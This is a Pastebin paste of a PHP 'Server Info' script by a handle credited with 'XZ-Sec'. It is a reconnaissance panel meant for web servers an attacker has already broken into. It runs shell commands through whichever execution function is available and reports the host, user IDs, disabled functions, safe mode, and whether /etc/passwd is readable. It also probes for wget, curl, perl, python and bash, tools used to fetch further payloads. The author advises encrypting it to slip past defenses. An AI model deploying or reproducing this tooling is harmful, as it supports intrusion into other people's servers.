Advertisement
VanGans

Server Info

Mar 8th, 2019
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.65 KB | None | 0 0
  1. <?
  2. /*
  3. This File Was Created By VanGans
  4.  
  5. Facebook : https://facebook.com/irfanarekporjk
  6. Email: oppcialxz@gmail.com
  7.  
  8. P.S: If The Tool Will Not Work Good Try To Crypt IT ^^ !
  9.  
  10. GooD Luck.
  11.  
  12. The Last Update:05/03/2019
  13.  
  14. ******************************************************
  15. Change Log:
  16. ----------
  17. 05/03/2019:
  18. 1-Add The Current Dir Option
  19. 2-Coloring Some Results
  20. ----------
  21. ******************************************************
  22.  
  23. */
  24.  
  25. @error_reporting(0);
  26.  
  27. function excute($cfe) {
  28.   $res = '';
  29.   if (!empty($cfe)) {
  30.     if(@function_exists('exec')) {
  31.       @exec($cfe,$res);
  32.       $res = join("\n",$res);
  33.     } elseif(@function_exists('shell_exec')) {
  34.       $res = @shell_exec($cfe);
  35.     } elseif(@function_exists('system')) {
  36.       @ob_start();
  37.       @system($cfe);
  38.       $res = @ob_get_contents();
  39.       @ob_end_clean();
  40.     } elseif(@function_exists('passthru')) {
  41.       @ob_start();
  42.       @passthru($cfe);
  43.       $res = @ob_get_contents();
  44.       @ob_end_clean();
  45.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  46.       $res = "";
  47.       while(!@feof($f)) { $res .= @fread($f,1024); }
  48.       @pclose($f);
  49.     } else { $res = "Ex() Disabled!"; }
  50.   }
  51.   return $res;
  52. }
  53.  
  54.     // Show Stat
  55.   function showstat($stat) {
  56.     if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
  57.     else { return "<font color=red><b>OFF</b></font>"; }
  58.   }
  59.   function named_conf(){
  60.   if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
  61.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  62.   }
  63.   function passwd(){
  64.   if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
  65.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  66.   }
  67.   function testoracle() {
  68.   if (@function_exists('ocilogon')) { return showstat("on"); }
  69.   else { return showstat("off"); }
  70.   }
  71.   function testpostgresql() {
  72.     if (@function_exists('pg_connect')) { return showstat("on"); }
  73.     else { return showstat("off"); }
  74.   }
  75.   function testmssql() {
  76.     if (@function_exists('mssql_connect')) { return showstat("on"); }
  77.     else { return showstat("off"); }
  78.   }
  79.   function testmysql() {
  80.     if (@function_exists('mysql_connect')) { return showstat("on"); }
  81.     else { return showstat("off"); }
  82.   }
  83.  
  84.   function showdisablefunctions() {
  85.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  86.     else { return "<font color=green><b>NONE</b></b></font>"; }
  87.   }
  88.     function openbase_dir() {
  89.     if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
  90.     else { return "<font color=green><b>NONE</b></b></font>"; }
  91.   }
  92.     function testfetch() {
  93.     if(excute('fetch --help')) { return showstat("on"); }
  94.     else { return showstat("off"); }
  95.   }
  96.     function testwget() {
  97.     if (excute('wget --help')) { return showstat("on"); }
  98.     else { return showstat("off"); }
  99.   }
  100.     function testperl() {
  101.     if (excute('perl --help')) { return showstat("on"); }
  102.     else { return showstat("off"); }
  103.   }
  104.     function testpy() {
  105.     if (excute('python --help')) { return showstat("on"); }
  106.     else { return showstat("off"); }
  107.   }
  108.       function testsh() {
  109.     if (excute('bash --help')) { return showstat("on"); }
  110.     else { return showstat("off"); }
  111.   }
  112.     function testcurl() {
  113.     if (@function_exists('curl_version')) { return showstat("on"); }
  114.     else { return showstat("off"); }
  115.   }
  116.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  117.     $safemode = TRUE;
  118.     $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
  119.   }else{
  120.     $safemode = FALSE;
  121.     $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
  122.   }
  123.  
  124.   $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
  125.  
  126. echo "
  127. <html><head>
  128. <title>VanGans Server Info ".$_SERVER['HTTP_HOST']." ~</title></head><body>
  129. <style type=text/css>
  130. body{background-color:#111;font-family:verdana;}
  131. .info{background-color:#fff; width=100%;}
  132. input,textarea{border:1px solid #000;}
  133. </style>
  134. <div class=info>
  135. <table bgcolor=#ff0000 width=100%px height=20px><tr>
  136. <td><font color=#fff size=1px><center>SERVER INFO | DEVELOPED BY VanGans</center></font></td>
  137. </tr></table>
  138. <font color=#000 size=2px>
  139. <center><span><font color='#111'>
  140. <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
  141. <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
  142. <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
  143. <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
  144. <br> Current Dir: <font color=blue>{$pwd} |</font></br>
  145. <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
  146. <br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
  147. <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
  148. <br> Disabled Functions: ".@showdisablefunctions()."|</br>
  149. <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
  150. <br>
  151. MySQL: ".@testmysql()."|
  152. MSSQL: ".@testmssql()."|
  153. Oracle: ".@testoracle()."|
  154. PostgreSQL: ".@testpostgresql()."|
  155. cURL: ".@testcurl()."|
  156. Fetch: ".@testfetch()."|
  157. WGet: ".@testwget()."|
  158. Perl: ".@testperl()."|
  159. Python: ".@testpy()."|
  160. Bash: ".@testsh()."|
  161. </center>
  162. </font>
  163. <br/>
  164. </div>
  165. <p align='center'><font color='#FF00FF'>Copyrights goes to me | 2019 | XZ-Sec<br/></font>
  166. <p align='center'><font color='#FF00FF'>Greetz : ACX<br/></font>
  167. </p>
  168. <br/>
  169. ";
  170. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement